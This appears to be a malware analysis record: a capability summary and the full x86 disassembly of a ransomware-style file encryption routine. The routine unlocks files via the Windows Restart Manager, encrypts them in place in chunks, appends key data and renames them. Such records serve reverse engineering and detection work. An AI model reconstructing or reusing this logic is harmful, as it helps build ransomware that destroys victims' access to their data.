Function at 0x4161f0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x78
push 0xffffffffffffffff
push 0x43df47
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xf4
push ebx
mov ebx, ecx
mov dword [ebp - 4], 0
mov edx, dword [ebx + 0x10]
lea eax, [ebx + 0x10]
mov dword [ebp + 0xc], eax
mov eax, 0x7ffffffe
push esi
mov esi, dword [0x450acc]
sub eax, edx
mov dword [ebp + 0x5c], ebx
push edi
mov dword [ebp - 0x10], esp
cmp eax, esi
jb 0x416dda
cmp dword [ebx + 0x14], 8
lea edi, [ebx + 0x14]
mov dword [ebp + 0x44], edi
jb 0x416251
mov ecx, dword [ebx]
cmp dword [0x450ad0], 8
mov eax, 0x450abc
push esi
cmovae eax, dword [0x450abc]
push eax
push edx
push ecx
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp - 0x7c]
call fcn.004082c0
mov byte [ebp - 4], 1
mov eax, ebx
cmp dword [edi], 8
jb 0x416281
mov eax, dword [ebx]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x48], eax
cmp eax, 0xffffffff
jne 0x416421
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp dword [edi], 8
mov ecx, ebx
jb 0x4162b7
mov ecx, dword [ebx]
push eax
push ecx
push str.____Encrypt__Can_t_open:__s__error:_0x_X_n
call fcn.00401d10
add esp, 0xc
call esi
cmp eax, 0x20
je 0x4162d8
call esi
cmp eax, 0x21
jne 0x416d0f
cmp dword [edi], 8
mov eax, ebx
jb 0x4162e1
mov eax, dword [ebx]
mov dword [ebp + 0x50], eax
xor esi, esi
lea eax, [ebp - 0xc0]
mov dword [ebp + 0x60], 0xffffffff
push eax
xor edi, edi
lea eax, [ebp + 0x60]
push esi
push eax
mov dword [ebp + 0x54], edi
mov dword [ebp + 0x64], edi
mov dword [ebp + 0x34], edi
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4163ac
push eax
push eax
push eax
push eax
lea eax, [ebp + 0x50]
push eax
push 1
push dword [ebp + 0x60]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4163ac
nop dword [eax]
lea eax, [ebp + 0x34]
push eax
push esi
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp + 0x64]
push eax
push dword [ebp + 0x60]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
je 0x41638c
cmp eax, 0xea
jne 0x41639f
mov eax, dword [ebp + 0x64]
mov dword [ebp + 0x54], eax
test esi, esi
je 0x416367
push esi
call fcn.004209b2
mov eax, dword [ebp + 0x54]
add esp, 4
xor ecx, ecx
mov edx, 0x29c
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004209fa
mov ecx, edi
add esp, 4
inc edi
mov esi, eax
cmp ecx, 3
jb 0x416330
jmp 0x41639f
cmp dword [ebp + 0x34], 0
jne 0x41639f
push 0
push 0
push dword [ebp + 0x60]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
test esi, esi
je 0x4163ac
push esi
call fcn.004209b2
add esp, 4
mov eax, dword [ebp + 0x60]
cmp eax, 0xffffffff
je 0x4163bb
push eax
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
lea ecx, [ebp + 0x28]
mov dword [ebp + 0x28], 4
mov dword [ebp + 0x2c], 0
call fcn.0041a980
mov edi, dword [ebp + 0x44]
mov eax, ebx
cmp dword [edi], 8
jb 0x4163dd
mov eax, dword [ebx]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x48], eax
cmp eax, 0xffffffff
jne 0x416421
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [edi], 8
mov ecx, ebx
jb 0x41640d
mov ecx, dword [ebx]
push eax
push ecx
push str.____Encrypt__Can_t_open_after_unlock:__s__error:_0x_X_n
call fcn.00401d10
add esp, 0xc
jmp 0x416d0f
mov esi, eax
mov dword [ebp - 0x1c], 0
xor al, al
mov dword [ebp + 0x50], esi
mov byte [ebp + 0x6f], al
mov byte [ebp + 0x77], al
mov byte [ebp + 0x4f], al
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push 0x4574a4
call fcn.004205db
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x1c]
push 0x4574d8
call fcn.00412f70
push 0x4574e4
lea ecx, [ebp - 0x28]
call fcn.00412f70
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
mov dword [ebp + 0x64], eax
sub eax, edi
mov dword [ebp + 0x54], edi
cmp eax, 0x100
jne 0x4164aa
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov byte [ebp + 0x77], 1
cmp eax, 0x28
je 0x4164ae
mov byte [ebp + 0x77], 0
mov dword [ebp - 4], 3
jmp 0x4164fd
push 0x4574a4
call fcn.004205f7
add esp, 4
cmp byte [ebp + 0x77], 0
je 0x416c86
cmp dword [0x4509a0], 0
mov ecx, dword [ebx + 0x18]
mov eax, dword [ebx + 0x1c]
mov dword [ebp + 0x70], ecx
mov dword [ebp + 0x68], eax
je 0x41658d
mov ecx, dword [ebp + 0x44]
mov eax, ebx
cmp dword [ecx], 8
jb 0x416535
mov eax, dword [ebx]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov esi, dword [0x450a20]
mov ecx, eax
mov edi, dword [0x450a24]
mov dword [ebp + 0x50], ecx
cmp esi, edi
je 0x416571
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x41655b
mov eax, dword [esi]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x41658d
mov ecx, dword [ebp + 0x50]
add esi, 0x18
cmp esi, edi
jne 0x416551
cmp dword [ebx + 0x1c], 0
mov eax, dword [0x4509a0]
jl 0x41658d
jg 0x416583
cmp dword [ebx + 0x18], eax
jbe 0x41658d
mov dword [ebp + 0x70], eax
mov dword [ebp + 0x68], 0
mov ecx, dword [0x4509dc]
xor esi, esi
mov edx, dword [0x4509d8]
mov eax, ecx
mov edi, dword [ebp + 0x64]
sub eax, edx
sub edi, dword [ebp + 0x54]
add eax, 0x14
add eax, edi
mov dword [ebp + 0x60], esi
mov dword [ebp + 0x1c], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp + 0x50], esi
mov dword [ebp - 0x2c], esi
test eax, eax
je 0x416604
cmp eax, 0x7fffffff
ja 0x416ddf
push eax
lea ecx, [ebp - 0x34]
call fcn.00409240
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp + 0x1c]
add esi, ecx
mov dword [ebp + 0x60], ecx
mov eax, esi
sub eax, ecx
push eax
push 0
push ecx
call fcn.00422520
mov eax, dword [ebp - 0x2c]
add esp, 0xc
mov ecx, dword [0x4509dc]
mov edx, dword [0x4509d8]
mov dword [ebp - 0x30], esi
mov dword [ebp + 0x50], eax
sub ecx, edx
mov byte [ebp - 4], 6
push ecx
push edx
push dword [ebp + 0x60]
call fcn.00421fa0
mov eax, dword [0x4509dc]
sub eax, dword [0x4509d8]
add eax, dword [ebp + 0x60]
push edi
push dword [ebp + 0x54]
push eax
call fcn.00421fa0
mov eax, dword [0x4509dc]
add esp, 0x18
sub eax, dword [0x4509d8]
xorps xmm0, xmm0
mov edx, dword [ebp + 0x60]
mov ecx, dword [ebp + 0x70]
add edx, edi
mov dword [edx + eax], ecx
mov ecx, dword [ebp + 0x68]
mov dword [edx + eax + 4], ecx
mov ecx, dword [0x4509dc]
sub ecx, dword [0x4509d8]
mov eax, dword [0x457480]
mov dword [edx + ecx + 8], eax
mov ecx, dword [0x4509dc]
sub ecx, dword [0x4509d8]
mov edx, dword [ebp + 0x60]
add ecx, edi
mov eax, dword [0x4509a4]
sub esi, edx
mov dword [ecx + edx + 0xc], eax
mov ecx, dword [0x4509dc]
sub ecx, dword [0x4509d8]
mov eax, dword [0x457488]
add ecx, edi
mov edi, dword [ebp + 0x48]
mov dword [ecx + edx + 0x10], eax
mov eax, dword [ebx + 0x18]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp + 0x24]
movlpd qword [ebp - 0x64], xmm0
push eax
push esi
push edx
push edi
mov dword [ebp - 0x54], 0
mov dword [ebp + 0x24], 0
mov dword [ebp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416beb
cmp dword [ebp + 0x24], esi
jne 0x416beb
cmp dword [ebp + 0x68], 0
mov esi, dword [0x4509a4]
mov edx, dword [ebp + 0x70]
mov dword [ebp + 0x38], esi
jl 0x4166fa
jg 0x4166ff
cmp edx, esi
ja 0x4166ff
mov esi, edx
mov dword [ebp + 0x38], edx
cmp dword [0x457474], 1
xorps xmm0, xmm0
movlpd qword [ebp + 0x3c], xmm0
jne 0x416a5f
xor eax, eax
mov byte [ebp + 0x77], 0
xor ebx, ebx
mov dword [ebp + 0x58], eax
mov dword [ebp], eax
mov dword [ebp + 4], ebx
mov dword [ebp + 0x64], eax
mov dword [ebp + 8], eax
mov edi, dword [ebp + 0x40]
mov esi, dword [ebp + 0x3c]
mov byte [ebp - 4], 7
movlpd qword [ebp + 0x28], xmm0
mov eax, dword [ebp + 0x2c]
mov dword [ebp + 0x10], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp + 0x1c], ebx
mov dword [ebp + 0x14], eax
mov dword [ebp + 0x34], esi
nop dword [eax]
mov eax, dword [ebp + 0x68]
cmp esi, edx
jne 0x41675f
cmp edi, eax
je 0x41691a
cmp byte [ebp + 0x77], 0
jne 0x41691a
mov ecx, edx
sub ecx, esi
mov dword [ebp + 0x40], ecx
sbb eax, edi
xor edx, edx
mov dword [ebp + 0x30], edx
cmp edx, eax
jg 0x41678c
jl 0x416782
cmp dword [ebp + 0x38], ecx
jae 0x41678c
mov eax, dword [ebp + 0x38]
mov ecx, eax
mov dword [ebp + 0x40], ecx
jmp 0x416794
mov edx, eax
mov eax, dword [ebp + 0x38]
mov dword [ebp + 0x30], edx
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp + 0x48]
mov dword [ebp - 0xb4], ecx
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0xac], ecx
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xa0], ecx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
lea ecx, [ebp + 0x77]
push 0xb0
mov dword [ebp - 0xc4], esi
mov dword [ebp - 0xc0], edi
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x8c], eax
call fcn.004209b7
add esp, 4
mov dword [ebp + 0x1c], eax
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 9
push ecx
mov ecx, eax
call fcn.0041c870
mov esi, eax
mov byte [ebp - 0x3c], 0
mov dword [ebp - 0x40], esi
mov byte [ebp - 0x38], 0
mov byte [ebp - 4], 0xa
test esi, esi
je 0x416de4
mov byte [ebp - 0x38], 1
mov dword [ebp + 0x28], esi
mov byte [ebp + 0x2c], 1
lock inc dword [esi + 4]
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x416850
mov ecx, dword [esi + 0x78]
test ecx, ecx
je 0x416848
mov eax, dword [ecx]
push esi
jmp 0x41684e
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov byte [ebp - 4], 0xb
cmp ebx, dword [ebp + 0x64]
je 0x416869
xor ecx, ecx
mov dword [ebx], esi
mov byte [ebx + 4], 1
add ebx, 8
mov dword [ebp + 4], ebx
jmp 0x416885
lea eax, [ebp + 0x28]
push eax
push ebx
lea ecx, [ebp]
call fcn.0041bac0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0x28]
mov dword [ebp + 0x64], eax
mov eax, dword [ebp]
mov dword [ebp + 0x58], eax
mov byte [ebp - 4], 7
test ecx, ecx
je 0x4168ab
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x4168ab
mov edx, dword [ecx + 0x78]
test edx, edx
je 0x4168a5
mov eax, dword [edx]
push ecx
mov ecx, edx
jmp 0x4168a9
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp + 0x40]
mov esi, ecx
mov edx, dword [ebp + 0x30]
add esi, dword [ebp + 0x34]
push 0
push 0x40
push edx
push ecx
mov dword [ebp + 0x34], esi
adc edi, edx
call fcn.0043cc90
add dword [ebp + 0x14], eax
mov eax, 0x40
mov dword [ebp + 0x1c], ebx
adc dword [ebp + 0x10], edx
sub eax, ecx
cmp dword [0x457480], 1
mov ebx, dword [ebp + 4]
mov edx, dword [ebp + 0x70]
mov dword [ebp + 0x1c], eax
jne 0x416750
mov ecx, dword [ebp + 0x68]
mov eax, edx
mov edx, dword [0x457488]
sub eax, esi
sbb ecx, edi
xor ebx, ebx
cmp ebx, ecx
jg 0x416907
jl 0x41690b
cmp edx, eax
jb 0x41690b
mov edx, eax
mov ebx, ecx
add esi, edx
mov edx, dword [ebp + 0x70]
adc edi, ebx
mov ebx, dword [ebp + 4]
jmp 0x416749
cmp byte [ebp + 0x77], 0
xorps xmm0, xmm0
movlpd qword [ebp + 0x3c], xmm0
mov edi, dword [ebp + 0x40]
mov esi, dword [ebp + 0x3c]
jne 0x4169dc
xor ecx, ecx
mov edx, dword [ebp + 0x58]
mov eax, ebx
sub eax, edx
mov dword [ebp + 0x30], ecx
sar eax, 3
cmp ecx, eax
jae 0x4169d9
mov ebx, dword [edx + ecx*8]
mov dword [edx + ecx*8], 0
mov dword [ebp + 0x28], ebx
mov byte [ebp + 0x2c], 1
mov byte [ebp - 4], 0xc
test ebx, ebx
je 0x416de4
cmp byte [ebx + 0x6c], 0
jne 0x416de4
mov eax, dword [ebx]
mov ecx, ebx
push 1
call dword [eax + 8]
mov edx, dword [eax]
or eax, 0xffffffff
mov dword [ebp + 0x1c], edx
mov byte [ebp - 4], 7
lock xadd dword [ebx + 4], eax
jne 0x4169a3
mov ecx, dword [ebx + 0x78]
test ecx, ecx
je 0x416998
mov eax, dword [ecx]
push ebx
jmp 0x41699e
mov eax, dword [ebx]
mov ecx, ebx
push 1
call dword [eax]
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x70]
xor ebx, ebx
mov ecx, dword [ebp + 0x68]
add edx, esi
mov esi, dword [0x457488]
adc ebx, edi
sub eax, edx
sbb ecx, ebx
xor edi, edi
cmp edi, ecx
jg 0x4169c5
jl 0x4169c9
cmp esi, eax
jb 0x4169c9
mov esi, eax
mov edi, ecx
mov ecx, dword [ebp + 0x30]
add esi, edx
adc edi, ebx
mov ebx, dword [ebp + 4]
inc ecx
jmp 0x416934
mov edx, dword [ebp + 0x70]
cmp dword [ebp + 0x58], 0
je 0x416a25
mov edx, ebx
mov ebx, dword [ebp + 0x58]
push ecx
mov ecx, ebx
call fcn.0041b110
mov ecx, dword [ebp + 0x64]
add esp, 4
sub ecx, ebx
mov eax, ebx
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x416a18
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416dee
push ecx
push ebx
call fcn.004209ec
mov edx, dword [ebp + 0x70]
add esp, 8
mov ebx, dword [ebp + 0x5c]
cmp esi, edx
jne 0x416bba
cmp edi, dword [ebp + 0x68]
jne 0x416bba
mov esi, dword [ebp + 0x44]
mov eax, ebx
cmp dword [esi], 8
jb 0x416a45
mov eax, dword [ebx]
push eax
push str.___Encrypt__Encrypted:__s_n
call fcn.00401d10
mov edi, dword [ebp + 0x48]
add esp, 8
mov byte [ebp + 0x6f], 1
jmp 0x416c0c
push esi
call fcn.004209fa
add esp, 4
mov dword [ebp + 0x58], eax
push esi
push 0
push eax
call fcn.00422520
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
push 0
push 0
lea eax, [ecx + 0x20]
push eax
push ecx
lea ecx, [ebp - 0x100]
call fcn.00413e90
mov edx, dword [ebp + 0x70]
mov eax, dword [ebp + 0x68]
test edx, edx
jne 0x416aa7
test eax, eax
jne 0x416aa7
mov edi, dword [ebp + 0x40]
mov esi, dword [ebp + 0x3c]
jmp 0x416b9e
mov edi, dword [ebp + 0x40]
xor ecx, ecx
mov esi, dword [ebp + 0x3c]
nop
mov ebx, edx
mov dword [ebp - 0x38], 0
sub ebx, esi
mov dword [ebp - 0x40], esi
xorps xmm0, xmm0
mov dword [ebp - 0x3c], edi
sbb eax, edi
movlpd qword [ebp - 0x48], xmm0
mov dword [ebp + 0x64], eax
cmp ecx, eax
jg 0x416ae0
mov eax, dword [ebp + 0x38]
jl 0x416adb
cmp eax, ebx
jae 0x416ae0
mov ebx, eax
mov dword [ebp + 0x64], ecx
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp + 0x20]
push eax
push ebx
push dword [ebp + 0x58]
push dword [ebp + 0x48]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x416b98
mov eax, dword [ebp + 0x20]
xor ecx, ecx
cmp eax, ebx
jne 0x416b98
cmp ecx, dword [ebp + 0x64]
jne 0x416b98
push eax
push dword [ebp + 0x58]
lea ecx, [ebp - 0x100]
call fcn.00413ed0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp + 0x24]
push eax
push dword [ebp + 0x20]
push dword [ebp + 0x58]
push dword [ebp + 0x48]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x416b98
mov eax, dword [ebp + 0x24]
cmp eax, dword [ebp + 0x20]
jne 0x416b98
add esi, ebx
mov edx, esi
adc edi, dword [ebp + 0x64]
cmp dword [0x457480], 1
mov ebx, edi
jne 0x416b7b
mov eax, dword [ebp + 0x70]
mov ecx, dword [ebp + 0x68]
sub eax, edx
mov esi, dword [0x457488]
sbb ecx, ebx
xor edi, edi
cmp edi, ecx
jg 0x416b73
jl 0x416b77
cmp esi, eax
jb 0x416b77
mov esi, eax
mov edi, ecx
add esi, edx
adc edi, ebx
mov edx, dword [ebp + 0x70]
mov ecx, 0
mov eax, dword [ebp + 0x68]
cmp esi, edx
jne 0x416ab0
cmp edi, eax
jne 0x416ab0
jmp 0x416b9b
mov edx, dword [ebp + 0x70]
mov ebx, dword [ebp + 0x5c]
mov eax, dword [ebp + 0x58]
test eax, eax
je 0x416a28
push eax
call fcn.004209b2
mov edx, dword [ebp + 0x70]
add esp, 4
jmp 0x416a28
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp + 0x44]
mov ecx, ebx
cmp dword [edx], 8
jb 0x416bcc
mov ecx, dword [ebx]
push dword [ebp + 0x68]
push dword [ebp + 0x70]
push edi
push esi
push eax
push ecx
push str.____Encrypt__Not_encrypted:__s__error:_0x_X___lld____lld_n
call fcn.00401d10
mov edi, dword [ebp + 0x48]
add esp, 0x1c
mov esi, dword [ebp + 0x44]
jmp 0x416c0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp + 0x44]
mov ecx, ebx
cmp dword [esi], 8
jb 0x416bfd
mov ecx, dword [ebx]
push eax
push ecx
push str.____Encrypt__Can_t_write_information:__s__error:_0x_X_n
call fcn.00401d10
add esp, 0xc
mov ecx, dword [ebp + 0x60]
test ecx, ecx
je 0x416c40
mov edx, dword [ebp + 0x50]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x416c36
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416df3
push edx
push ecx
call fcn.004209ec
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp + 0x6f], 0
je 0x416ca7
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
mov ecx, ebx
cmovae eax, dword [ebp - 0x7c]
cmp dword [esi], 8
jb 0x416c61
mov ecx, dword [ebx]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x416ca7
cmp dword [esi], 8
mov eax, ebx
jb 0x416c76
mov eax, dword [ebx]
push eax
push str.____Encrypt__Not_moved:__s_n
call fcn.00401d10
add esp, 8
jmp 0x416ca7
mov ecx, dword [ebp + 0x44]
mov eax, ebx
cmp dword [ecx], 8
jb 0x416c92
mov eax, dword [ebx]
push eax
push str.____Encrypt__Can_t_run_for:__s_n
call fcn.00401d10
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 0x54]
test edx, edx
je 0x416cdb
mov ecx, dword [ebp - 0x20]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x416cd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416df8
push ecx
push edx
call fcn.004209ec
add esp, 8
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x416d0f
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x416d05
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416df8
push edx
push ecx
call fcn.004209ec
add esp, 8
mov ecx, dword [ebp - 0x68]
cmp ecx, 8
jb 0x416d6f
mov edx, dword [ebp - 0x7c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x416d3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416dfd
push ecx
push edx
call fcn.004209ec
add esp, 8
jmp 0x416d6f
test ebx, ebx
je 0x416dc8
mov ecx, dword [ebx + 0x14]
cmp ecx, 8
jb 0x416da8
mov eax, dword [ebx]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x416d9e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416dee
mov eax, edx
push ecx
push eax
call fcn.004209ec
add esp, 8
mov eax, dword [ebp + 0xc]
push 0x20
push ebx
mov dword [ebx + 0x14], 7
mov dword [eax], 0
xor eax, eax
mov word [ebx], ax
call fcn.004209ec
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
lea esp, [ebp + 0x78]
pop ebp
ret
call fcn.00401660
call fcn.004057e0
mov ecx, 4
call fcn.00415c20
call fcn.0042cebf
call fcn.0042cebf
call fcn.0042cebf
call fcn.0042cebf
int3